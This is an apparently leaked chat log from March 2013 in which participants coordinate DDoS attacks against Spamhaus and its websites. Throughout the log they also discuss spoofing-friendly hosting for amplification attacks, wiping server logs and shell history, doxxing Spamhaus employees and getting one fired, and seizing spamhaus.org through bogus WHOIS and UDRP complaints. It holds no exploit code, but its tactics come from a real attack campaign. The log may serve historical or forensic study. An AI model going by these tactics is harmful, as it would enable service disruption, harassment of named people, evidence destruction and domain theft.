767[18.03.2013 13:16:35] narko: ok let's make this ip down
768[18.03.2013 13:16:37] eDataKing: plus the linford@stophaus.org email acct sends from that IP
769[18.03.2013 13:16:38] narko: it's also one of their nameservers
770[18.03.2013 13:16:47] eDataKing: yes it is
771[18.03.2013 13:16:54] -= Darwick =-: should I help?
772[18.03.2013 13:17:16] narko: ok down
773[18.03.2013 13:17:25] -= Darwick =-: if there is a chance to make dnsbl down I should help then :)
774[18.03.2013 13:17:53] narko: yes theres other ips
775[18.03.2013 13:28:06] Alex Optik: http://www.spamhauswhitelist.com/en/
776[18.03.2013 13:28:12] Alex Optik: will we down this too?
777[18.03.2013 13:28:26] Alex Optik: white list motherfuckers
778[18.03.2013 13:28:35] Yuri: just wake up
779[18.03.2013 13:28:39] Alex Optik: spamhaus whores
780[18.03.2013 13:28:41] Yuri: i see stophaus problem.
781[18.03.2013 13:28:49] Yuri: my admin was upgrading software on that server.
782[18.03.2013 13:28:52] Yuri: he fix that soon.
783[18.03.2013 13:28:56] Alex Optik: (devil)
784[18.03.2013 13:29:58] Alex Optik: narko what you say? mate
785[18.03.2013 13:30:13] narko: sure
786[18.03.2013 13:30:18] narko: i dont know if it will do anything
787[18.03.2013 13:30:35] narko: i've nevre heard of this spamhauswhitelist
788[18.03.2013 13:30:42] Alex Optik: ha ha
789[18.03.2013 13:30:48] Alex Optik: now you know about it ;)
790[18.03.2013 13:30:56] narko: and now its down
791[18.03.2013 13:31:35] -= Darwick =-: ehhhh :)
792[18.03.2013 13:31:39] -= Darwick =-: yes it is
793[18.03.2013 13:31:52] -= Darwick =-: it stucked when I did a try to load the page :)
794[18.03.2013 13:32:56] Alex Optik: spamhaus.mu
795spamhaus.sc
796spamhaustech.com
797spamhauswhitelist.com
798spamteq.com
799swlcert.com
800[18.03.2013 13:33:08] Alex Optik: that all thier websites
801[18.03.2013 13:33:11] Alex Optik: which is known
802[18.03.2013 13:33:22] Alex Optik: narko check them ;)
803[18.03.2013 13:33:43] -= Darwick =-: most of them are down
804[18.03.2013 13:33:59] narko: spamhaus.mu -> no a record
805spamhaus.sc -> no a record
806spamhaustech.com -> no a record
807spamhauswhitelist.com -> down
808spamteq.com -> down
809swlcert.com -> no a record
810[18.03.2013 13:34:08] *** Aleksey Frolov quit ***
811[18.03.2013 13:34:10] Alex Optik: aha i see
812[18.03.2013 13:37:00] WebExxpurts: yuri morning
813[18.03.2013 13:41:04] Yuri: hi.
814[18.03.2013 13:41:21] Yuri: stophaus.com soon come online. just updating php, compliling...
815[18.03.2013 13:41:24] WebExxpurts: we leave skype to irc
816[18.03.2013 13:41:29] WebExxpurts: what u say
817[18.03.2013 13:41:34] Yuri: give me URL
818[18.03.2013 13:41:35] WebExxpurts: whats narko take on it
819[18.03.2013 13:41:37] WebExxpurts: skype is not god
820[18.03.2013 13:41:38] WebExxpurts: good
821[18.03.2013 13:41:56] Yuri: shall i download some other client for that?
822[18.03.2013 13:44:54] narko: i will install irc server then
823[18.03.2013 13:45:01] narko: on the chaat server
824[18.03.2013 13:51:06] Yuri: éû
825[18.03.2013 13:51:07] Yuri: ok
826[18.03.2013 13:51:29] -= Darwick =-: narko which ircd?
827[18.03.2013 13:51:33] narko: unreal
828[18.03.2013 13:51:37] -= Darwick =-: great :)
829[18.03.2013 14:10:29] narko: irc.stophaus.com : 7000 / ssl
830#stophaus
831[18.03.2013 14:10:52] narko: need to set your client to accept self-signed ssl
832[18.03.2013 14:15:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: make sure you remove all whois, who and dcc host/ip related code from that ircd.
833[18.03.2013 14:15:44] narko: i am now
834[18.03.2013 14:16:01] Yuri: i install irc
835[18.03.2013 14:16:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just take the source and drop a bunch of void's in there where it had unsigned char functions :P
836[18.03.2013 14:16:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nobody needs that crap anyway.. ips of other users that is
837[18.03.2013 14:16:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the ones that can 'encrypt' the whois/who are no use... as those are quite easy to decode
838[18.03.2013 14:16:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: only 4 billion possibilities after all
839[18.03.2013 14:17:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and you already know the ones you're connecting from
840[18.03.2013 14:17:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so its quite easy to figure out the keys on those
841[18.03.2013 14:17:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so just remove it -completely- from the code :P
842[18.03.2013 14:17:33] narko: then i will make a socks5 on the server
843[18.03.2013 14:17:38] narko: for everyone to add in their irc client
844[18.03.2013 14:17:39] narko: lol
845[18.03.2013 14:17:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the same goes for access and error logs on the webserver of the forum :P
846[18.03.2013 14:17:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: /dev/null
847[18.03.2013 14:18:11] -= Darwick =-: i lines should make this "secure"
848[18.03.2013 14:18:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (and utmp, wtmp, btmp, lastlog, syslog, .bash_history, .ssh, etc as well obviously ;)
849[18.03.2013 14:18:52] -= Darwick =-: if you give i lines only for the ip addresses which are used by us, then nobody else can connect
850[18.03.2013 14:19:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. either that or just put an iptables nat rule before the ircd :P
851[18.03.2013 14:19:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so we all have the same ip lol
852[18.03.2013 14:19:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
853[18.03.2013 14:19:47] narko: i dont know about the website
854[18.03.2013 14:19:48] narko: but
855[18.03.2013 14:19:57] narko: the VM for the chat servers is running on a drive with www.diskcryptor.net
856[18.03.2013 14:22:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think i finally get the dns packet query lol... the numbers are just the length of the next field until the dot... :P
857[18.03.2013 14:22:12] narko: and i'm running skype portable on another encrypted drive on a server :P
858[18.03.2013 14:22:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: why oh why... isn't that documented like anywhere lol
859[18.03.2013 14:22:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. that makes it rather easy to ehm... expand the code a bit now lol
860[18.03.2013 14:22:55] narko: your messages are showing up
861[18.03.2013 14:23:01] narko: minutes later than you write them
862[18.03.2013 14:23:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (also need to move filling out the packet structure that doesn't change outside of the while 1 loop anyway :P
863[18.03.2013 14:23:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its fastahrrr
864[18.03.2013 14:23:57] Yuri: ok, we will move all logs to /dev/bull
865[18.03.2013 14:24:40] Òðûõрøù Ûёûøý: respect to "who do that spamhaus down"
866[18.03.2013 14:27:08] Yuri: give some serves to narko
867[18.03.2013 14:29:08] Yuri: can't connect ot irc
868[18.03.2013 14:29:12] WebExxpurts: anyone able to connect to irc.. mirc client cant do
869[18.03.2013 14:29:22] narko: did you set port 7000?
870[18.03.2013 14:29:23] WebExxpurts: 10052 software caused
871[18.03.2013 14:29:26] WebExxpurts: yes port 7000
872[18.03.2013 14:29:28] narko: 6667 isnt open
873[18.03.2013 14:29:29] WebExxpurts: SSL to any
874[18.03.2013 14:29:30] narko: and ssl?
875[18.03.2013 14:29:59] narko: try npow
876[18.03.2013 14:31:10] Yuri: yes. ssl is any
877port 7000
878[18.03.2013 14:31:32] WebExxpurts: connection refused
879[18.03.2013 14:31:36] Yuri: -
880* Unable to connect to server (Connection refused)
881-
882* Connect retry #39 irc.stophaus.com (7000)
883-
884* Unable to connect to server (Connection refused)
885-
886* Connect retry #40 irc.stophaus.com (7000)
887[18.03.2013 14:32:13] WebExxpurts: same error
888[18.03.2013 14:32:18] WebExxpurts: which client u using yuri?
889[18.03.2013 14:32:27] twisted: # telnet irc.stophaus.com7000
890Trying 91.229.77.62...
891telnet: connect to address 91.229.77.62: Connection refused
892telnet: Unable to connect to remote host
893[18.03.2013 14:32:42] twisted: client is irrelevant, it's not up :P
894[18.03.2013 14:32:49] narko: try ni
895[18.03.2013 14:32:58] twisted: yep up now
896[18.03.2013 14:32:59] narko: iptables -F doesn't remove prerouting rules
897[18.03.2013 14:33:12] narko: / nat rules
898[18.03.2013 14:33:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: yeah... thats called... shitty gprs :P
899[18.03.2013 14:33:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gprs, it makes telex look modern.
900[18.03.2013 14:33:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: especially when combined with bluetooth
901[18.03.2013 14:34:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually its still loading the friends list and thinks you're all offline
902[18.03.2013 14:37:47] WebExxpurts: u guys able to connect?
903[18.03.2013 14:46:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: [12:43:56] Xennt: Op Twitter:
904
905Bert-Jan Dokter @bjdokter
906@LucRossini are you aware that the spamhaus IP is DDos-ing. others?
907[13:42:47] Erik Bais: Bert-Jan Dokter @bjdokter
9084 ICT nerds like me: #spamhaus (anti spam project) ligt al meer dan 48 uur 'plat' door DDoS attacks.
909[12:44:07] Xennt: Twitter info op dat profiel :
910
911@bjdokter
912PvdA | Raadslid Oldebroek | DJ @KiKstartFM | YouTube/FB/Twitter: kikstartfm & bjdokter | ICT | Jeugdzorg | Dad of 2 | Hubby of 1 | Humor | Respect | Relax
913[12:44:20] Xennt: (cool)
914[18.03.2013 14:46:21] narko: yes
915[18.03.2013 14:46:27] narko: theres me and darwick in here
916[18.03.2013 14:46:56] NM: Who knows irc client for iPhone?
917[18.03.2013 14:49:22] narko: IRChon
918[18.03.2013 14:49:28] narko: dont know if you can tell it allow self-signed
919[18.03.2013 14:50:26] NM: Thx:)
920[18.03.2013 14:50:58] narko: i am going to buy lunch, will be back soon. IRC is up :)
921[18.03.2013 14:51:04] Yuri: IRC server works or not?
922[18.03.2013 14:51:17] narko: well it is only me and darwick in irc
923[18.03.2013 14:51:28] narko: but he is here so yes
924[18.03.2013 14:51:28] Yuri: Connecting to irc.stophaus.com (7000)
925-
926* [10053] Software caused connection abort
927-
928* Disconnected
929-
930* Connect retry #1 irc.stophaus.com (7000)
931-
932* [10053] Software caused connection abort
933-
934* Disconnected
935-
936* Connect retry #2 irc.stophaus.com (7000)
937-
938* [10053] Software caused connection abort
939[18.03.2013 14:51:30] NM: Can't find irchon in AppStore ;(
940[18.03.2013 14:54:09] narko: others try to connect,if there is problems i will check in 30-35min now i am leaving
941[18.03.2013 14:57:36] WebExxpurts: no dont work pls check
942[18.03.2013 14:57:44] NM: I connected
943[18.03.2013 14:57:50] NM: Get motd
944[18.03.2013 14:57:50] WebExxpurts: huh
945[18.03.2013 14:58:00] NM: But can't write))
946[18.03.2013 14:59:00] NM: *** You are connected to irc.stophaus.com with TLSv1-AES128-SHA-128bits
947[18.03.2013 15:08:06] -= Darwick =-: you can write
948[18.03.2013 15:08:11] -= Darwick =-: and I see what you wrote
949[18.03.2013 15:08:26] -= Darwick =-: anybody who has problem with mirc, first of all, install openssl libs
950[18.03.2013 15:08:29] WebExxpurts: mirc client not working
951[18.03.2013 15:08:40] WebExxpurts: windows
952[18.03.2013 15:08:44] -= Darwick =-: and use the connection like this: /serverirc.stophaus.com +7000
953[18.03.2013 15:08:50] Mark - Evgeny Pazderin: chatzilla not work also
954[18.03.2013 15:08:58] Mark - Evgeny Pazderin: even /sslserver irc.stophaus.com7000
955[18.03.2013 15:11:57] -= Darwick =-: I don't use chatzilla at all so I can't tell more about that
956[18.03.2013 15:12:06] -= Darwick =-: but I use mirc in windows and it works for me
957[18.03.2013 15:12:09] Mark - Evgeny Pazderin: ok, got mirc working
958[18.03.2013 15:13:28] WebExxpurts: how
959[18.03.2013 15:13:54] -= Darwick =-: http://www.mirc.com/ssl.html
960[18.03.2013 15:13:58] -= Darwick =-: there is the howto
961[18.03.2013 15:15:13] Yuri: downloading ssl....
962[18.03.2013 15:15:59] Mark - Evgeny Pazderin: 2 WebExxpurts
963mirc just connected
964[18.03.2013 15:16:06] Mark - Evgeny Pazderin: I don't installed ssl libs
965[18.03.2013 15:16:18] Mark - Evgeny Pazderin: only mirc on windows7
966[18.03.2013 15:16:59] Yuri: br... i can't connect
967[18.03.2013 15:17:15] WebExxpurts: k
968[18.03.2013 15:17:22] WebExxpurts: work
969[18.03.2013 15:17:22] Yuri: got it when typed manualy
970[18.03.2013 15:19:03] Yuri: that help me
971[18.03.2013 15:19:09] WebExxpurts: yep
972[18.03.2013 15:19:09] -= Darwick =-: :)
973[18.03.2013 15:19:32] -= Darwick =-: I made it this way yeah
974[18.03.2013 15:19:46] -= Darwick =-: I don't like channel box popups so I type manually everything
975[18.03.2013 15:20:25] WebExxpurts: guys im done.. leaving this group.. bye
976[18.03.2013 15:20:26] Yuri: so everybody can go into that irc chat ?
977[18.03.2013 15:20:44] Yuri: keep staying here for sometime untill all come to irc and it's ok
978[18.03.2013 15:20:48] *** WebExxpurts quit ***
979[18.03.2013 15:20:48] Yuri: just for information
980[18.03.2013 15:21:51] Yuri: -----------------------------------------------
981FOR EVERYBODY: we moved to IRC (under SSL)
982/server irc.stophaus.com +7000
983#stophaus
984DON"T WRITE HERE, GO TO IRC
985-----------------------------------------------
986[18.03.2013 15:25:26] Cali: Smart move!
987[18.03.2013 15:28:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://pastebin.com/UAgfwiyC
988[18.03.2013 15:37:12] Cali: Connection failed. Error: Certificate is not yet valid?
989[18.03.2013 15:37:15] Cali: the certificate expired lol
990[18.03.2013 15:37:22] narko: you are using
991[18.03.2013 15:37:24] narko: xchat?
992[18.03.2013 15:37:37] Cali: yeh
993[18.03.2013 15:37:39] narko: restart it
994[18.03.2013 15:38:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: website working already :P
995[18.03.2013 15:38:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
996[18.03.2013 15:38:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ?!?
997[18.03.2013 15:45:08] narko: no
998[18.03.2013 15:45:10] narko: it says error
999[18.03.2013 15:45:10] narko: :(
1000[18.03.2013 16:01:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Wil je die Carel van Straten eens goed dwars zitten ?
1001
1002dan moet je vooral veel de link met Accenture gaan leggen ...
1003
1004Dan is hij daar zo de laan uit ...
1005
1006Carel van Straten
1007http://au.linkedin.com/in/carelvanstraten Cyberthreat Investigator, Spamhaus. Presenter Bio: Carel is an investigator at The Spamhaus Project
1008[18.03.2013 16:01:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or in english
1009[18.03.2013 16:01:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if you wanna bug carel van straten, then link him to accenture, then they'll fire him
1010[18.03.2013 16:08:07] narko: who are all these people registering on web hosting talk
1011[18.03.2013 16:08:13] narko: Stophaus.org which is claim to be non profitable organization in fact which is not.
1012Recently Russian government declared stophaus as illegal
1013This is russian link but you can use google translator
1014Who the **** cares what's illegal in Putinstan!
1015[18.03.2013 16:08:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think they mean 'spamhaus.org'
1016[18.03.2013 16:08:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: notstophaus.org :P
1017[18.03.2013 16:09:12] NM: Haha))
1018[18.03.2013 16:09:28] NM: Little mistake:)
1019[18.03.2013 16:09:44] Antitheist: no i think they meant stophaus
1020[18.03.2013 16:09:52] Antitheist: since they said that edataking messed up mysql
1021[18.03.2013 16:09:57] Antitheist: so ... :P
1022[18.03.2013 16:10:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: make it so that on the forum it does not require login to see the d0x on spamhaus employees
1023[18.03.2013 16:10:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so it ends up in google and everyone can just click
1024[18.03.2013 16:11:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: including 'other employers' :P
1025[18.03.2013 16:13:15] narko: spamhaus.org is still #1 for spamhaus in google
1026[18.03.2013 16:13:20] narko: although it's not accessible for 3 days
1027[18.03.2013 16:14:05] narko: Bert-Jan Dokter 'Â@bjdokter
1028
1029@LucRossini are you aware that the spamhaus IP is DDos-ing. others?
1030[18.03.2013 16:14:13] narko: dns attack
1031[18.03.2013 16:14:14] narko: ;)
1032[18.03.2013 16:14:14] Antitheist: do you mind if we put spamhaus metatags on stophaus?
1033[18.03.2013 16:14:24] Antitheist: so we can come up first on google soon :D
1034[18.03.2013 16:15:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
1035[18.03.2013 16:15:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just do it, and open the whole god damn thing up for googlebot
1036[18.03.2013 16:15:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if there is an rrs plugin for this forum, also submit that to google news indexers :P
1037[18.03.2013 16:15:55] narko: steal their domain spamhaus.org
1038[18.03.2013 16:15:59] narko: can you brute force epp codes?
1039[18.03.2013 16:16:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well... just file an icann udrp procedure, as in some of their domains 'the spamhaus project limited' is still there
1040[18.03.2013 16:16:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and either way, none of the phonenumbers nor addresses work
1041[18.03.2013 16:16:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then their spamhaus.org is bye bye
1042[18.03.2013 16:17:04] narko: when I entered fake details into a domain
1043[18.03.2013 16:17:13] narko: i was only required to upadte to real
1044[18.03.2013 16:17:16] narko: my domain was not suspended
1045[18.03.2013 16:17:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah... but in order for that to happen... the email address must work -first- :P
1046[18.03.2013 16:17:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1047[18.03.2013 16:17:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if it doesn't they'll never get the notice haha
1048[18.03.2013 16:17:41] Antitheist: do you know if the spamhaus folks are talking about the issue on some open community?
1049[18.03.2013 16:17:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and then the nameservers will just be set to 'parked'
1050[18.03.2013 16:17:47] narko: well their login email for gandi.net must be real
1051[18.03.2013 16:17:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after a few weeks
1052[18.03.2013 16:17:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its mailed to the whois contacts
1053[18.03.2013 16:18:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not to the login email
1054[18.03.2013 16:18:11] narko: let's do that
1055[18.03.2013 16:18:11] narko: lol
1056[18.03.2013 16:18:58] Alex Optik: * Connect retry #1 irc.stophaus.com (7000)
1057-
1058* [10053] Software caused connection abort
1059-
1060* Disconnected
1061-
1062* Connect retry #2 irc.stophaus.com (7000)
1063-
1064* [10053] Software caused connection abort
1065-
1066* Disconnected
1067[18.03.2013 16:19:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah its ssl.
1068[18.03.2013 16:19:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same here.
1069[18.03.2013 16:19:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: both with irssi and ircII
1070[18.03.2013 16:19:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: both of which should be linked with openssl... as they're ubuntu default packages
1071[18.03.2013 16:20:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: one of em nags something about an invalid file descriptor and dies the other one just keeps reconnecting
1072[18.03.2013 16:25:54] narko: Your report information is as follows:
1073
1074############################################
1075
1076Submitted: Mon, 18 Mar 2013 14:25:44 UTC
1077
1078Domain:
1079spamhaus.org
1080
1081############################################
1082
1083PROBLEM REPORT
1084
1085Registrant Data
1086
1087Name: No such person or entity
1088Address:
1089Comment:
1090Spamhaus Hostmaster is a fake name.
1091
1092Administrative Contact Data
1093
1094Name: No such person or entity
1095Address:
1096Phone: Incorrect phone
1097Fax: Fax is missing
1098Email: Incorrect email
1099Comment:
1100Logistics Manager is a fake name.
1101The phone number is fake and does not connect.
1102Fax is missing.
1103Email address is fake and bounces.
1104
1105Technical Contact Data
1106
1107Name: Misspelled name
1108Address:
1109Phone: Incorrect phone
1110Fax: Fax is missing
1111Email: Incorrect email
1112Comment:
1113Logistics Manager is a fake name.
1114The phone number is fake and does not connect.
1115Fax is missing.
1116Email address is fake and bounces.
1117
1118Registration Dates
1119
1120Create Date:
1121Comment:
1122
1123
1124Expiration Dates
1125
1126Expire Date:
1127Comment:
1128[18.03.2013 16:26:45] narko: Your report concerning whois data inaccuracy regarding the domain spamhaus.org has been confirmed. You will receive an email with further details shortly. Thank you.
1129[18.03.2013 16:29:26] narko: Any future correspondence sent to ICANN must contain your report ID number.
1130Please allow 45 days for ICANN's WDPRS processing of your Whois inaccuracy
1131claim. This 45 day WDPRS processing cycle includes forwarding the complaint
1132to the registrar for handling, time for registrar action and follow-up by
1133ICANN if necessary.
1134[18.03.2013 16:29:33] narko: 45 days? ? |-)
1135[18.03.2013 16:29:51] Yuri: no. write to there registartor.
1136[18.03.2013 16:29:54] Yuri: of the domain
1137[18.03.2013 16:29:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: LOL
1138[18.03.2013 16:30:06] Yuri: we have a lot of domains suspended illegaly by spamhaus requests.
1139[18.03.2013 16:30:16] narko: .ru domains or american?
1140[18.03.2013 16:30:26] Yuri: americans
1141[18.03.2013 16:30:32] Yuri: enom.com
1142namecheap.com
1143[18.03.2013 16:30:34] Yuri: even good domains
1144[18.03.2013 16:30:52] eDataKing: I like ahnames
1145[18.03.2013 16:30:57] eDataKing: EvoNames EvoPlus
1146[18.03.2013 16:30:57] Yuri: just becouse there found them in such lists like spamhaus do: just list domains on the IP range
1147[18.03.2013 16:31:05] narko: i am using internetbs.net :) they do not make problems
1148[18.03.2013 16:31:17] eDataKing: only had that issue with one brand, Mail Mascot.
1149[18.03.2013 16:31:24] eDataKing: But that was a poisoned brand anyway
1150[18.03.2013 16:31:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not wdpr that you want, its the udpr procedure
1151[18.03.2013 16:31:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats faster :P
1152[18.03.2013 16:31:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just file a bunch of both lol
1153[18.03.2013 16:31:47] eDataKing: internet.bs recently started suspending but not often
1154[18.03.2013 16:32:08] narko: they wrote this to me
1155[18.03.2013 16:32:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh that, and their email doens't work at all atm haha
1156[18.03.2013 16:32:27] narko: about a bullshit abuse complaint 'the owner of this domain scammed me'
1157[18.03.2013 16:32:27] eDataKing: AHNames is Advanced Hosters
1158[18.03.2013 16:32:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they can't respond
1159[18.03.2013 16:32:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1160[18.03.2013 16:32:31] narko:
1161
1162Please see the below complaint and reply directly to the complainer. Please
1163add us in CC when answering. If we see no answer within 24 hours we might have
1164no choice but to suspend the domain.
1165[18.03.2013 16:32:46] eDataKing: people in Russia may know that host for a certain forum they host and sponsor in Russian
1166[18.03.2013 16:32:57] narko: Advanced hosters!
1167[18.03.2013 16:33:02] narko: are they an option for hosting spoof servres?
1168[18.03.2013 16:33:09] eDataKing: yes, they have a registrar
1169[18.03.2013 16:33:12] eDataKing: ahnames.com
1170[18.03.2013 16:33:59] eDataKing: free privacy for $8.25 USD and never had any issue outside the suspension of mailmascot.com after transferring it to them
1171[18.03.2013 16:34:30] eDataKing: Spamhaus begged them to do it because I couldn't transfer it again for at least 90 days (ICANN) and they used that time to attack.
1172[18.03.2013 16:35:11] Antitheist: try webnames.ru
1173[18.03.2013 16:35:30] Antitheist: they never suspended any of my domains
1174[18.03.2013 16:35:52] Antitheist: also naunet.ru, but they became very bad in terms of support
1175[18.03.2013 16:36:58] Antitheist: narko - is there any test i can make to see if the provider allows spoof? i have some windows boxes around
1176[18.03.2013 16:37:09] narko: yes
1177[18.03.2013 16:37:28] narko: http://www.softpedia.com/get/Network-Tools/Misc-Networking-Tools/UDPSZ.shtml
1178[18.03.2013 16:37:29] narko: download this tool
1179[18.03.2013 16:37:35] narko: it will allow you to send a packet with a spoofed source
1180[18.03.2013 16:37:45] narko: then you can use wireshark/tcpdump/etc to see if it reach the destination
1181[18.03.2013 16:37:56] Antitheist: well i could do that with hping
1182[18.03.2013 16:38:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you can just do that iwth a file in /proc/net or netcat actually
1183[18.03.2013 16:38:13] Antitheist: i will correct my question - "effectively" spoof the packets that you need
1184[18.03.2013 16:38:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait windows
1185[18.03.2013 16:38:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1186[18.03.2013 16:38:23] Antitheist: CB3ROB he needs windows :/
1187[18.03.2013 16:38:29] Òðûõрøù Ûёûøý: np
1188[18.03.2013 16:39:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well, as for leaseweb.. leaseweb doesn't filter spoofed source -within- their peerings
1189[18.03.2013 16:39:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: is just global transit thats filtered with them
1190[18.03.2013 16:39:33] narko: they change the ip back to your real server ip
1191[18.03.2013 16:39:38] narko: you will ddos your own server if you try this attack at leaseweb
1192[18.03.2013 16:39:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
1193[18.03.2013 16:39:50] Antitheist: what about root.lu?
1194[18.03.2013 16:39:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: very creative of them
1195[18.03.2013 16:39:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1196[18.03.2013 16:40:21] Antitheist: and nforce
1197[18.03.2013 16:40:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nforce barely has its own asn
1198[18.03.2013 16:40:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think they still have over half of their stuff on other networks
1199[18.03.2013 16:40:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they used to have everything at leaseweb
1200[18.03.2013 16:40:50] narko: nforce and webazilla both wanted something like 500-600eur per server for 100tb
1201[18.03.2013 16:41:13] Òðûõрøù Ûёûøý: yuri says dedi needed
1202[18.03.2013 16:41:14] Antitheist: serverius?
1203[18.03.2013 16:41:23] narko: dont know
1204[18.03.2013 16:41:25] Òðûõрøù Ûёûøý: withous spoof check
1205[18.03.2013 16:41:26] narko: but serverius is only colo
1206[18.03.2013 16:41:31] Antitheist: p.s. checked root.lu?
1207[18.03.2013 16:41:36] Antitheist: i have colo in serverius
1208[18.03.2013 16:41:43] narko: no i havent tried root.lu
1209[18.03.2013 16:41:45] narko: i dont like them
1210[18.03.2013 16:41:53] narko: they tried to sent debt collectors to me
1211[18.03.2013 16:41:59] narko: :x
1212[18.03.2013 16:42:01] Antitheist: lol?
1213[18.03.2013 16:42:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1214[18.03.2013 16:42:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah as if thats gonna work in another country haha
1215[18.03.2013 16:42:40] Antitheist: like those people with ski masks and some baseball bats or..
1216[18.03.2013 16:42:46] narko: i dont know
1217[18.03.2013 16:42:56] narko: it was a 45 euro server and i did not give them a 14 days notice for cancellation
1218[18.03.2013 16:42:59] narko: so they asked payment for next month
1219[18.03.2013 16:43:04] narko: then filed a report with some collection agency
1220[18.03.2013 16:43:04] narko: lol
1221[18.03.2013 16:43:27] Antitheist: actually they still didnt disconnect one of my server that i didnt pay since december
1222[18.03.2013 16:43:42] Antitheist: since their fucking webmoney merchant is broken
1223[18.03.2013 16:43:49] Antitheist: i have a 600eur debt there
1224[18.03.2013 16:44:31] Antitheist: so i can try installing windows on it
1225[18.03.2013 16:44:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they're that cheap?
1226[18.03.2013 16:44:45] narko: udpsz runs on linux
1227[18.03.2013 16:44:48] narko: for testing spoofing
1228[18.03.2013 16:45:10] narko: serverius is probably not blocked spoof
1229[18.03.2013 16:45:17] Antitheist: yes they are 150euro per month including a real 1gbit link
1230[18.03.2013 16:45:21] Antitheist: limited to 10tb tho
1231[18.03.2013 16:45:23] narko: they previously hosted the company KoDDOS with carding sites, phishing sites, ponzi sites, etc..
1232[18.03.2013 16:45:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: how the hell do they run a profit
1233[18.03.2013 16:45:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1234[18.03.2013 16:45:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah and the name "KoDDOS" didn't give it away
1235[18.03.2013 16:46:28] narko: serverius hosted them
1236[18.03.2013 16:46:53] narko: and it still had the @serverius.com abuse addresses on the ips but the carding/phishing/hyip stayed up
1237[18.03.2013 16:47:13] Antitheist: yes serverius are pretty bp unless you violate the dutch laws
1238[18.03.2013 16:47:22] narko: credit card fraud is legal?
1239[18.03.2013 16:47:34] Antitheist: its not illegal to host them
1240[18.03.2013 16:47:38] narko: lol
